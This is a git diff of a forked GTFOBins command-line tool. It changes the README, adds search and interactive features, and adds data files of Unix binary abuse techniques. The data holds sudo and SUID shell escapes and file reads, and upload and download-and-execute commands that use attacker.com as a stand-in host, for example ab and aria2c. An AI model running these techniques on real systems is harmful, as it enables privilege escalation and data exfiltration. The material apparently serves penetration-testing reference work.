diff --git a/README.md b/README.md index 36f57b9..c4d8ec3 100644 --- a/README.md +++ b/README.md @@ -3,8 +3,8 @@ # 🚀 GTFOBins CLI [![Python](https://img.shields.io/badge/Python-3.6%2B-blue?style=for-the-badge&logo=python)](https://www.python.org/) -[![License](https://img.shields.io/badge/License-GPL%20v3-green?style=for-the-badge)](https://github.com/t0thkr1s/gtfobins-cli/blob/master/LICENSE) -[![Stars](https://img.shields.io/github/stars/t0thkr1s/gtfobins-cli?style=for-the-badge)](https://github.com/t0thkr1s/gtfobins-cli/stargazers) +[![License](https://img.shields.io/badge/License-GPL%20v3-green?style=for-the-badge)](https://github.com/kasem545/gtfobins-cli/blob/master/LICENSE) +[![Stars](https://img.shields.io/github/stars/kasem545/gtfobins-cli?style=for-the-badge)](https://github.com/kasem545/gtfobins-cli/stargazers) @@ -15,6 +15,9 @@ ### Key Features - 🔍 **Quick Binary Lookup**: Search exploitation techniques for any Unix binary +- 🔎 **Fuzzy Search**: Find binaries with partial name matching +- 🏷️ **Filter by Type**: Filter binaries by exploitation type (shell, suid, sudo, etc.) +- 🖥️ **Interactive Mode**: fzf-style autocomplete for quick navigation - 🎨 **Syntax Highlighting**: Color-coded output for better readability - 📦 **Offline Database**: No internet connection required - 🚀 **Instant Access**: Fast, local searches with zero latency @@ -22,17 +25,17 @@ ## Installation -### From PyPI (Recommended) +### From pipx (Recommended) ```bash -pip install gtfobins-cli +pipx install git+https://github.com/kasem545/gtfobins-cli ``` ### From Source ```bash -git clone https://github.com/t0thkr1s/gtfo -cd gtfo +git clone https://github.com/kasem545/gtfobins-cli +cd gtfobins-cli pip install -e . ``` @@ -53,10 +56,39 @@ gtfo sudo # Search for python exploitation techniques gtfo python +# Fuzzy search binaries by name +gtfo -s pyth + +# Filter binaries by exploitation type +gtfo -f shell +gtfo -f suid +gtfo -f sudo + +# Show only specific technique for a binary +gtfo python -f sudo + +# Interactive mode with autocomplete +gtfo -i + +# List all available binaries +gtfo -l + # Check version gtfo --version ``` +### Command Line Options + +| Option | Description | +|--------|-------------| +| `binary` | Unix binary to search for exploitation techniques | +| `-s, --search TERM` | Fuzzy search binaries by name | +| `-f, --filter TYPE` | Filter binaries by exploitation type | +| `-i, --interactive` | Interactive mode with autocomplete | +| `-l, --list` | List all available binaries | +| `-v, --version` | Show version | +| `-h, --help` | Show help message | + ## Exploitation Categories The tool provides information about various exploitation techniques: @@ -80,10 +112,18 @@ The tool provides information about various exploitation techniques: ## Screenshots

- GTFOBins CLI Screenshot 1 -      - GTFOBins CLI Screenshot 2 + + +

+

+ +

+

+ +

+ + ## Development @@ -91,7 +131,7 @@ The tool provides information about various exploitation techniques: ```bash # Clone the repository -git clone https://github.com/t0thkr1s/gtfo +git clone https://github.com/kasem545/gtfobins-cli cd gtfo # Create virtual environment @@ -126,7 +166,8 @@ Contributions are welcome! Please feel free to submit a Pull Request. For major - Binary exploitation data from [GTFOBins](https://gtfobins.github.io/) - Original GTFOBins project contributors -- Created and maintained by [t0thkr1s](https://github.com/t0thkr1s) +- Created by [t0thkr1s](https://github.com/t0thkr1s) +- maintained by [kasem545](https://github.com/kasem545) ## Security Notice @@ -146,6 +187,6 @@ This project is licensed under the GNU General Public License v3.0 - see the [LI If you encounter any issues or have questions: -- Open an [issue](https://github.com/t0thkr1s/gtfo/issues) +- Open an [issue](https://github.com/kasem545/gtfobins-cli/issues) - Check existing issues for solutions - Consult the [GTFOBins website](https://gtfobins.github.io/) for additional information diff --git a/README.zh-cn.md b/README.zh-cn.md deleted file mode 100644 index 89cb193..0000000 --- a/README.zh-cn.md +++ /dev/null @@ -1,49 +0,0 @@ -# gtfo - -[![made-with-python](http://forthebadge.com/images/badges/made-with-python.svg)](https://www.python.org/) -[![built-with-love](http://forthebadge.com/images/badges/built-with-love.svg)](https://gitHub.com/t0thkr1s/) - -这是一个为[GTFOBins](https://github.com/GTFOBins/GTFOBins.github.io)编写的Python脚本。 -您可以搜索来绕过系统安全限制的Unix二进制文件,这些二进制文件可用于获得限制的shell提权,传输文件,生成绑定和反向外壳等等 - -这些功能来自[https://github.com/GTFOBins/GTFOBins.github.io](https://github.com/GTFOBins/GTFOBins.github.io)所有贡献都归功于各个的贡献者。在这里它们被简化(不需要环境变量)启用了高亮语法。 - -## 下载 - -``` -git clone https://github.com/t0thkr1s/gtfo -``` - -## 安装 - -该脚本有2个依赖项: - -* [colorama](https://pypi.org/project/colorama/) -* [pygments](https://pypi.org/project/Pygments/) - -您可以通过键入以下命令来安装它们: - -``` -python3 setup.py install -``` - -## Run - -``` -python3 gtfo.py [binary] -``` - -## 屏幕截屏 - - -屏幕截屏1 | 屏幕键盘2 -:-----------------------:|:-----------------------: -![Screenshot1](https://i.imgur.com/1EzFiGQ.png) | ![Screenshot2](https://i.imgur.com/icgmDct.png) - - -### 免责声明 - -> 该工具仅用于测试和学习,并且只能在经过同意的情况下使用。请勿将其用于非法目的!所有的用户有义务遵守各地法律。开发人员使用此工具和软件造成的损失和犯罪行为我们不承担任何责任。 -## 许可证 - -此项目已获得GPLv3许可-请参阅[LICENSE](LICENSE) 文件 diff --git a/gtfo/__init__.py b/gtfo/__init__.py index 2103b6a..2724346 100644 --- a/gtfo/__init__.py +++ b/gtfo/__init__.py @@ -1,2 +1,3 @@ -__version__ = "1.0.0" +__version__ = "1.1.0" __author__ = "t0thkr1s" +__maintainer__ = "kasem545" diff --git a/gtfo/cli.py b/gtfo/cli.py index 6850a1b..e1cdf5f 100755 --- a/gtfo/cli.py +++ b/gtfo/cli.py @@ -3,6 +3,8 @@ import argparse import json import os +import sys +from difflib import SequenceMatcher from pathlib import Path from string import Template @@ -12,7 +14,7 @@ # Initialize colorama for Windows compatibility init(autoreset=True) -banner = ''' +banner = r''' __ ___ __ _ ___ _ / /_ / _/ ___ / / (_) ___ ___ / _ `// __/ / _/ / _ \ / _ \ / / / _ \ (_-< @@ -25,6 +27,13 @@ data_dir = PACKAGE_DIR / "data" json_ext = ".json" +EXPLOIT_TYPES = [ + 'shell', 'command', 'reverse-shell', 'non-interactive-reverse-shell', + 'bind-shell', 'non-interactive-bind-shell', 'file-upload', 'file-download', + 'file-write', 'file-read', 'library-load', 'suid', 'sudo', 'capabilities', + 'limited-suid' +] + info = Template(Style.BRIGHT + '[ ' + Fore.GREEN + '*' + Fore.RESET + ' ] ' + Style.RESET_ALL + '$text') fail = Template(Style.BRIGHT + '[ ' + Fore.RED + '-' + Fore.RESET + ' ] ' + Style.RESET_ALL + '$text') title = Template( @@ -34,6 +43,38 @@ divider = '\n' + Style.BRIGHT + ' - ' * 10 + Style.RESET_ALL + '\n' +def get_all_binaries(): + """Get list of all available binary names.""" + return sorted([f.stem for f in data_dir.glob('*.json')]) + + +def fuzzy_match(query, choices, threshold=0.4): + """Return choices that fuzzy match the query, sorted by relevance.""" + results = [] + query_lower = query.lower() + for choice in choices: + choice_lower = choice.lower() + # Exact substring match gets highest priority + if query_lower in choice_lower: + score = 1.0 if query_lower == choice_lower else 0.9 + else: + score = SequenceMatcher(None, query_lower, choice_lower).ratio() + if score >= threshold: + results.append((choice, score)) + return [r[0] for r in sorted(results, key=lambda x: (-x[1], x[0]))] + + +def get_binaries_with_type(exploit_type): + """Get all binaries that have a specific exploitation type.""" + matching = [] + for json_file in data_dir.glob('*.json'): + with open(json_file) as f: + data = json.load(f) + if exploit_type in data.get('functions', {}): + matching.append(json_file.stem) + return sorted(matching) + + def parse_args(): from . import __version__ parser = argparse.ArgumentParser( @@ -41,42 +82,173 @@ def parse_args(): description="Command-line tool for GTFOBins - helps you bypass system security restrictions." ) parser.add_argument('-v', '--version', action='version', version=f'%(prog)s {__version__}') - parser.add_argument('binary', metavar='binary', help='Unix binary to search for exploitation techniques') + parser.add_argument('binary', metavar='binary', nargs='?', help='Unix binary to search for exploitation techniques') + parser.add_argument('-s', '--search', metavar='TERM', help='Fuzzy search binaries by name') + parser.add_argument('-f', '--filter', metavar='TYPE', dest='exploit_type', + help=f'Filter binaries by exploitation type: {", ".join(EXPLOIT_TYPES)}') + parser.add_argument('-i', '--interactive', action='store_true', + help='Interactive mode with autocomplete') + parser.add_argument('-l', '--list', action='store_true', dest='list_all', + help='List all available binaries') return parser.parse_args() -def run(binary=None): - """Main function that can be called programmatically""" - if binary is None: - args = parse_args() - binary = args.binary - +def display_binary(binary, filter_type=None): + """Display exploitation techniques for a binary.""" file_path = data_dir / f"{binary}{json_ext}" - if file_path.exists(): - print(info.safe_substitute(text="Supplied binary: " + binary)) - print(info.safe_substitute(text="Please wait, loading data ... ")) - with open(file_path) as source: - data = source.read() - - json_data = json.loads(data) - if 'description' in json_data: - print('\n' + description.safe_substitute(description=json_data['description'])) - - for vector in json_data['functions']: - print(title.safe_substitute(title=str(vector).upper())) - index = 0 - for code in json_data['functions'][vector]: - index = index + 1 - if 'description' in code: - print(description.safe_substitute(description=code['description']) + '\n') - print(highlight(code['code'], lexers.BashLexer(), - formatters.TerminalTrueColorFormatter(style='igor')).strip()) - if index != len(json_data['functions'][vector]): - print(divider) - - print('\n' + info.safe_substitute(text="Goodbye, friend.")) - else: + if not file_path.exists(): print(fail.safe_substitute(text="Sorry, couldn't find anything for " + binary)) + return False + + print(info.safe_substitute(text="Supplied binary: " + binary)) + with open(file_path) as source: + json_data = json.load(source) + + if 'description' in json_data: + print('\n' + description.safe_substitute(description=json_data['description'])) + + vectors = json_data['functions'] + if filter_type: + vectors = {k: v for k, v in vectors.items() if k == filter_type} + if not vectors: + print(fail.safe_substitute(text=f"No '{filter_type}' techniques for {binary}")) + return False + + for vector in vectors: + print(title.safe_substitute(title=str(vector).upper())) + for idx, code in enumerate(vectors[vector]): + if 'description' in code: + print(description.safe_substitute(description=code['description']) + '\n') + print(highlight(code['code'], lexers.BashLexer(), + formatters.TerminalTrueColorFormatter(style='igor')).strip()) + if idx != len(vectors[vector]) - 1: + print(divider) + + print('\n' + info.safe_substitute(text="Goodbye, friend.")) + return True + + +def print_binary_list(binaries, columns=4): + """Print binaries in columns.""" + if not binaries: + print(fail.safe_substitute(text="No binaries found.")) + return + max_len = max(len(b) for b in binaries) + 2 + per_row = columns + for i in range(0, len(binaries), per_row): + row = binaries[i:i + per_row] + print(' ' + ''.join(b.ljust(max_len) for b in row)) + + +def interactive_mode(): + """Interactive mode with autocomplete.""" + try: + from prompt_toolkit import prompt + from prompt_toolkit.completion import FuzzyWordCompleter + except ImportError: + print(fail.safe_substitute(text="Interactive mode requires 'prompt_toolkit'. Install with: pip install prompt_toolkit")) + sys.exit(1) + + binaries = get_all_binaries() + completer = FuzzyWordCompleter(binaries) + + print(info.safe_substitute(text=f"Interactive mode - {len(binaries)} binaries available")) + print(info.safe_substitute(text="Type binary name (Tab for autocomplete, Ctrl+C to exit)")) + print() + + while True: + try: + user_input = prompt('gtfo> ', completer=completer).strip() + if not user_input: + continue + if user_input.lower() in ('exit', 'quit', 'q'): + break + display_binary(user_input) + print() + except KeyboardInterrupt: + break + except EOFError: + break + + print('\n' + info.safe_substitute(text="Goodbye, friend.")) + + +def run(binary=None): + """Main function that can be called programmatically.""" + args = parse_args() if binary is None else None + + if args: + if args.interactive: + if args.list_all or args.search or args.binary or args.exploit_type: + print(fail.safe_substitute(text="Interactive mode cannot be combined with other options")) + return + interactive_mode() + return + + if args.binary and (args.list_all or args.search): + print(fail.safe_substitute(text="Cannot combine binary with -l/--list or -s/--search")) + return + + if args.list_all and args.search: + print(fail.safe_substitute(text="Cannot combine -l/--list with -s/--search")) + return + + if args.exploit_type and args.exploit_type not in EXPLOIT_TYPES: + print(fail.safe_substitute(text=f"Unknown type '{args.exploit_type}'")) + print(info.safe_substitute(text=f"Valid types: {', '.join(EXPLOIT_TYPES)}")) + return + + if args.list_all: + if args.exploit_type: + binaries = get_binaries_with_type(args.exploit_type) + label = f"Binaries with '{args.exploit_type}'" + else: + binaries = get_all_binaries() + label = "Available binaries" + if binaries: + print(info.safe_substitute(text=f"{label} ({len(binaries)}):")) + print() + print_binary_list(binaries) + else: + print(fail.safe_substitute(text=f"No binaries with '{args.exploit_type}'")) + return + + if args.search: + pool = get_binaries_with_type(args.exploit_type) if args.exploit_type else get_all_binaries() + matches = fuzzy_match(args.search, pool) + if matches: + if args.exploit_type: + label = f"Search '{args.search}' in '{args.exploit_type}'" + else: + label = f"Search results for '{args.search}'" + print(info.safe_substitute(text=f"{label} ({len(matches)} matches):")) + print() + print_binary_list(matches) + else: + if args.exploit_type: + print(fail.safe_substitute(text=f"No '{args.exploit_type}' binaries matching '{args.search}'")) + else: + print(fail.safe_substitute(text=f"No binaries matching '{args.search}'")) + return + + if args.exploit_type and not args.binary: + binaries = get_binaries_with_type(args.exploit_type) + if binaries: + print(info.safe_substitute(text=f"Binaries with '{args.exploit_type}' ({len(binaries)}):")) + print() + print_binary_list(binaries) + else: + print(fail.safe_substitute(text=f"No binaries with '{args.exploit_type}'")) + return + + binary = args.binary + + if not binary: + print(fail.safe_substitute(text="No binary specified. Use -h for help.")) + return + + filter_type = args.exploit_type if args else None + display_binary(binary, filter_type) def main(): diff --git a/gtfo/data/7z.json b/gtfo/data/7z.json new file mode 100644 index 0000000..78ae2b7 --- /dev/null +++ b/gtfo/data/7z.json @@ -0,0 +1,16 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\n7z a -ttar -an -so $LFILE | 7z e -ttar -si -so\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo 7z a -ttar -an -so $LFILE | 7z e -ttar -si -so\n" + } + ] + } +} diff --git a/gtfo/data/aa-exec.json b/gtfo/data/aa-exec.json new file mode 100644 index 0000000..ac7d25c --- /dev/null +++ b/gtfo/data/aa-exec.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "aa-exec /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./aa-exec /bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo aa-exec /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/ab.json b/gtfo/data/ab.json new file mode 100644 index 0000000..de4fb00 --- /dev/null +++ b/gtfo/data/ab.json @@ -0,0 +1,28 @@ +{ + "functions": { + "file-upload": [ + { + "description": "Upload local file via HTTP POST request.", + "code": "URL=http://attacker.com/\nLFILE=file_to_send\nab -p $LFILE $URL\n" + } + ], + "file-download": [ + { + "description": "Fetch a remote file via HTTP GET request. The response is returned as part of the verbose output of the program with some limitations on the length.", + "code": "URL=http://attacker.com/file_to_download\nab -v2 $URL\n" + } + ], + "suid": [ + { + "description": "Upload local file via HTTP POST request.", + "code": "sudo install -m =xs $(which ab) .\nURL=http://attacker.com/\nLFILE=file_to_send\n./ab -p $LFILE $URL\n" + } + ], + "sudo": [ + { + "description": "Upload local file via HTTP POST request.", + "code": "URL=http://attacker.com/\nLFILE=file_to_send\nsudo ab -p $LFILE $URL\n" + } + ] + } +} diff --git a/gtfo/data/acr.json b/gtfo/data/acr.json new file mode 100644 index 0000000..8c9ff7f --- /dev/null +++ b/gtfo/data/acr.json @@ -0,0 +1,16 @@ +{ + "functions": { + "suid": [ + { + "description": "", + "code": "sudo install acr $(which acr) .\ntouch Makefile && chmod +x Makefile\necho DATA > Makefile\n./acr -r Makefile\n" + } + ], + "sudo": [ + { + "description": "", + "code": "sudo install acr $(which acr) .\ntouch Makefile && chmod +x Makefile\necho DATA > Makefile\nsudo acr -r Makefile\n" + } + ] + } +} diff --git a/gtfo/data/agetty.json b/gtfo/data/agetty.json new file mode 100644 index 0000000..697f3f2 --- /dev/null +++ b/gtfo/data/agetty.json @@ -0,0 +1,10 @@ +{ + "functions": { + "suid": [ + { + + "code": "./agetty -o -p -l /bin/sh -a root tty\n" + } + ] + } +} diff --git a/gtfo/data/alpine.json b/gtfo/data/alpine.json new file mode 100644 index 0000000..81ca274 --- /dev/null +++ b/gtfo/data/alpine.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nalpine -F \"$LFILE\"\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./alpine -F \"$LFILE\"\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo alpine -F \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/ansible-playbook.json b/gtfo/data/ansible-playbook.json new file mode 100644 index 0000000..46b16a7 --- /dev/null +++ b/gtfo/data/ansible-playbook.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "TF=$(mktemp)\necho '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]' >$TF\nansible-playbook $TF\n" + } + ], + "sudo": [ + { + + "code": "TF=$(mktemp)\necho '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]' >$TF\nsudo ansible-playbook $TF\n" + } + ] + } +} diff --git a/gtfo/data/ansible-test.json b/gtfo/data/ansible-test.json new file mode 100644 index 0000000..9002e8d --- /dev/null +++ b/gtfo/data/ansible-test.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "ansible-test shell\n" + } + ], + "sudo": [ + { + + "code": "sudo ansible-test shell\n" + } + ] + } +} diff --git a/gtfo/data/aoss.json b/gtfo/data/aoss.json new file mode 100644 index 0000000..906a84d --- /dev/null +++ b/gtfo/data/aoss.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "aoss /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo aoss /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/apache2ctl.json b/gtfo/data/apache2ctl.json new file mode 100644 index 0000000..c59579e --- /dev/null +++ b/gtfo/data/apache2ctl.json @@ -0,0 +1,16 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\napache2ctl -c \"Include $LFILE\" -k stop\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo apache2ctl -c \"Include $LFILE\" -k stop\n" + } + ] + } +} diff --git a/gtfo/data/apport-cli.json b/gtfo/data/apport-cli.json new file mode 100644 index 0000000..eacf43a --- /dev/null +++ b/gtfo/data/apport-cli.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + "description": "", + "code": "apport-cli -f\n\n*** What kind of problem do you want to report?\n\nPlease choose (1/2/3/4/5/6/7/8/9/10/C): 1\n\n*** Collecting problem information\n\n\n*** What display problem do you observe?\n\n\nPlease choose (1/2/3/4/5/6/7/8/C): 2\n\n\n*** Send problem report to the developers?\n\nWhat would you like to do? Your options are:\n \n V: View report\n \nPlease choose (S/V/K/I/C): V\n\n\n" + } + ], + "suid": [ + { + "description": "", + "code": "apport-cli -f\n\n*** What kind of problem do you want to report?\n\nPlease choose (1/2/3/4/5/6/7/8/9/10/C): 1\n\n*** Collecting problem information\n\n\n*** What display problem do you observe?\n\n\nPlease choose (1/2/3/4/5/6/7/8/C): 2\n\n\n*** Send problem report to the developers?\n\nWhat would you like to do? Your options are:\n \n V: View report\n \nPlease choose (S/V/K/I/C): V\n\n\n" + } + ], + "sudo": [ + { + "description": "", + "code": "sudo apport-cli -f\n\n*** What kind of problem do you want to report?\n\nPlease choose (1/2/3/4/5/6/7/8/9/10/C): 1\n\n*** Collecting problem information\n\n\n*** What display problem do you observe?\n\n\nPlease choose (1/2/3/4/5/6/7/8/C): 2\n\n\n*** Send problem report to the developers?\n\nWhat would you like to do? Your options are:\n \n V: View report\n \nPlease choose (S/V/K/I/C): V\n\n\n" + } + ] + } +} diff --git a/gtfo/data/apt-get.json b/gtfo/data/apt-get.json index 42e1190..2982d9f 100644 --- a/gtfo/data/apt-get.json +++ b/gtfo/data/apt-get.json @@ -2,23 +2,23 @@ "functions": { "shell": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "apt-get changelog apt\n!/bin/sh\n" } ], "sudo": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "sudo apt-get changelog apt\n!/bin/sh\n" }, { - "description": "For this to work the target package (e.g., 'sl') must not be installed.", + "description": "For this to work the target package (e.g., `sl`) must not be installed.", "code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt-get install -c $TF sl\n" }, { - "description": "When the shell exits the 'update' command is actually executed.", - "code": "sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh" + "description": "When the shell exits the `update` command is actually executed.", + "code": "sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/apt.json b/gtfo/data/apt.json index f6e5898..01c653b 100644 --- a/gtfo/data/apt.json +++ b/gtfo/data/apt.json @@ -2,23 +2,23 @@ "functions": { "shell": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", - "code": "apt-get changelog apt\n!/bin/sh\n" + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "apt changelog apt\n!/bin/sh\n" } ], "sudo": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", - "code": "sudo apt-get changelog apt\n!/bin/sh\n" + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "sudo apt changelog apt\n!/bin/sh\n" }, { - "description": "For this to work the target package (e.g., 'sl') must not be installed.", + "description": "For this to work the target package (e.g., `sl`) must not be installed.", "code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt install -c $TF sl\n" }, { - "description": "When the shell exits the 'update' command is actually executed.", - "code": "sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh" + "description": "When the shell exits the `update` command is actually executed.", + "code": "sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/aptitude.json b/gtfo/data/aptitude.json new file mode 100644 index 0000000..88a2bfd --- /dev/null +++ b/gtfo/data/aptitude.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "aptitude changelog aptitude\n!/bin/sh\n" + } + ], + "sudo": [ + { + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "sudo aptitude changelog aptitude\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/ar.json b/gtfo/data/ar.json index 36915e3..a53f6a1 100644 --- a/gtfo/data/ar.json +++ b/gtfo/data/ar.json @@ -1,19 +1,21 @@ { - "description": "The file appears amid the binary content of the archive.", "functions": { "file-read": [ { - "code": "ar r \"[output]\" \"[file]\"\ncat \"[output]\"\n" + + "code": "TF=$(mktemp -u)\nLFILE=file_to_read\nar r \"$TF\" \"$LFILE\"\ncat \"$TF\"\n" } ], "suid": [ { - "code": "./ar r \"[output]\" \"[file]\"\ncat \"[output]\"\n" + + "code": "TF=$(mktemp -u)\nLFILE=file_to_read\n./ar r \"$TF\" \"$LFILE\"\ncat \"$TF\"\n" } ], "sudo": [ { - "code": "sudo ar r \"[output]\" \"[file]\"\ncat \"[output]\"\n" + + "code": "TF=$(mktemp -u)\nLFILE=file_to_read\nsudo ar r \"$TF\" \"$LFILE\"\ncat \"$TF\"\n" } ] } diff --git a/gtfo/data/aria2c.json b/gtfo/data/aria2c.json index 8b54532..a720253 100644 --- a/gtfo/data/aria2c.json +++ b/gtfo/data/aria2c.json @@ -3,21 +3,33 @@ "functions": { "command": [ { - "code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\naria2c --on-download-error=$TF http://x\n" + "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\naria2c --on-download-error=$TF http://x" }, { - "description": "The remote file 'aaaaaaaaaaaaaaaa' (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. '--allow-overwrite' is needed if this is executed multiple times with the same GID.", - "code": "aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash [host]/aaaaaaaaaaaaaaaa" + "description": "The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID.", + "code": "aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa" + } + ], + "file-download": [ + { + "description": "Fetch a remote file via HTTP GET request. Use `--allow-overwrite` if needed.", + "code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\naria2c -o \"$LFILE\" \"$URL\"" } ], "sudo": [ { - "code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\nsudo aria2c --on-download-error=$TF http://x\n" + "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo aria2c --on-download-error=$TF http://x" + } + ], + "suid": [ + { + "description": "It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.", + "code": "LFILE='/etc/passwd'\naria2c -i $LFILE" } ], "limited-suid": [ { - "code": "TF=$(mktemp)\necho \"[command]\" > $TF\nchmod +x $TF\n./aria2c --on-download-error=$TF http://x\n" + "code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\n./aria2c --on-download-error=$TF http://x" } ] } diff --git a/gtfo/data/arj.json b/gtfo/data/arj.json new file mode 100644 index 0000000..05e33d5 --- /dev/null +++ b/gtfo/data/arj.json @@ -0,0 +1,28 @@ +{ + "functions": { + "file-read": [ + { + "description": "The file appears amid some other textual information. The archive can also be downloaded then extracted offline.", + "code": "TF=$(mktemp -u)\nLFILE=file_to_read\narj a \"$TF\" \"$LFILE\"\narj p \"$TF\"\n" + } + ], + "file-write": [ + { + "description": "The archive can also be prepared offline then uploaded.", + "code": "TF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\narj e \"$TF/a\" $LDIR\n" + } + ], + "sudo": [ + { + "description": "The archive can also be prepared offline then uploaded.", + "code": "TF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\nsudo arj e \"$TF/a\" $LDIR\n" + } + ], + "suid": [ + { + "description": "The archive can also be prepared offline then uploaded.", + "code": "TF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\n./arj e \"$TF/a\" $LDIR\n" + } + ] + } +} diff --git a/gtfo/data/arp.json b/gtfo/data/arp.json index 3224733..962211a 100644 --- a/gtfo/data/arp.json +++ b/gtfo/data/arp.json @@ -1,20 +1,22 @@ { - "description": "The read file content is corrupted by error prints.\n", "functions": { "file-read": [ { - "code": "arp -v -f [file]\n" + + "code": "LFILE=file_to_read\narp -v -f \"$LFILE\"\n" } ], "suid": [ { - "code": "./arp -v -f [file]\n" + + "code": "LFILE=file_to_read\n./arp -v -f \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo arp -v -f [file]\n" + + "code": "LFILE=file_to_read\nsudo arp -v -f \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/as.json b/gtfo/data/as.json new file mode 100644 index 0000000..306c012 --- /dev/null +++ b/gtfo/data/as.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nas @$LFILE\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./as @$LFILE\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo as @$LFILE\n" + } + ] + } +} diff --git a/gtfo/data/ascii-xfr.json b/gtfo/data/ascii-xfr.json new file mode 100644 index 0000000..c6b7eac --- /dev/null +++ b/gtfo/data/ascii-xfr.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nascii-xfr -ns \"$LFILE\"\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./ascii-xfr -ns \"$LFILE\"\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo ascii-xfr -ns \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/ascii85.json b/gtfo/data/ascii85.json new file mode 100644 index 0000000..e3b97eb --- /dev/null +++ b/gtfo/data/ascii85.json @@ -0,0 +1,16 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nascii85 \"$LFILE\" | ascii85 --decode\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo ascii85 \"$LFILE\" | ascii85 --decode\n" + } + ] + } +} diff --git a/gtfo/data/ash.json b/gtfo/data/ash.json index b1e558f..d62d516 100644 --- a/gtfo/data/ash.json +++ b/gtfo/data/ash.json @@ -2,23 +2,27 @@ "functions": { "shell": [ { - "code": "ash" + + "code": "ash\n" } ], "file-write": [ { - "code": "ash -c 'echo DATA > [file]'\n" + + "code": "export LFILE=file_to_write\nash -c 'echo DATA > $LFILE'\n" } ], "suid": [ { - "code": "./ash" + + "code": "./ash\n" } ], "sudo": [ { - "code": "sudo ash" + + "code": "sudo ash\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/aspell.json b/gtfo/data/aspell.json new file mode 100644 index 0000000..6968871 --- /dev/null +++ b/gtfo/data/aspell.json @@ 